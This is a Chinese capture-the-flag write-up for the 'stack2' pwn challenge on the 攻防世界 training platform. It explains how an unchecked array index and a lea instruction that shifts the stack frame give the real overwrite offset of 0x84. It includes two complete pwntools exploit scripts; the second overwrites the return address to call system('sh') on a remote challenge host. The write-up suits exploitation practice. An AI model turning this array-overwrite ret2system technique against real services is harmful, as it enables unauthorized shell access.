攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

Stack2

攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

这题废话很多,说白了就一个数组越界的漏洞可以利用,没有对下标v5做限定,所以可以利用数组越界,直接越过canary,利用留下的后门getshell

攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

刚开始看ida以为位移是0x74所以exp如下

from pwn import *

p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'

hackhere = [0x9b, 0x85, 0x04, 0x08]
write_offset = 0x74

def change_number(offset, value):
    p.sendlineafter(b'5. exit\n', b'3')
    p.sendlineafter(b'which number to change:', str(offset).encode())
    p.sendlineafter(b'new number:', str(value).encode())

p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')

for i in range(4):
    change_number(write_offset+i, hackhere[i])


p.sendlineafter(b'5. exit\n', b'5')

p.interactive()

然而没啥用

最后从ida知道ret之前的lea指令对栈帧做了调整,所以进gdb调试一下

断点下在shownum那里,然后输入数字7,然后n一步步向下看,发现eax使我们输入的数字,edx指向我们输入的7,所以edx的地址是数组首地址,为0xffffd148

攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

然后重新来一遍,把断点下到0x080488EF,也就是lea指令

攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

发现lea指令完之后会给esp加0x10,然后我们n一下,执行一条指令看看攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

发现esp变成了0xffffd1cc,确实加了0x10

也就是0xffffd1cc -0xffffd148 = 0x84,比原来的偏移多了0x10,果然是lea指令调整了栈帧

然后就可以写exp了,不过发现这个后门用不了,不信你可以试试看,会发现找不到bash,但是有字符sh可以让我们查找

攻防世界pwn高手区stack2 lea调整栈帧导致偏移错误

我们用第一个0x08048987就行了,然后system函数也存在,所以可以getshell

然后可以写exp了,要注意小端存储还有x86下的参数位置

from pwn import *

p = remote('111.200.241.244', '50928')
# p = process("./stack2")
# context.log_level = 'debug'

system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x89, 0x04, 0x08]  # 0x08048987
write_offset = 0x84

def change_number(offset, value):
    p.sendlineafter(b'5. exit\n', b'3')
    p.sendlineafter(b'which number to change:', str(offset).encode())
    p.sendlineafter(b'new number:', str(value).encode())

p.sendlineafter(b'How many numbers you have:', b'1')
p.sendlineafter(b'Give me your numbers', b'1')

for i in range(4):
   change_number(write_offset+i, system_addr[i])

write_offset += 8
for i in range(4):
   change_number(write_offset+i, sh_addr[i])

p.sendlineafter(b'5. exit\n', b'5')

p.interactive()

然后就拿到flag了

上一篇:为什么魂斗罗只有128KB却可以实现那么长的剧情?


下一篇:计算机考研408每日一题 day50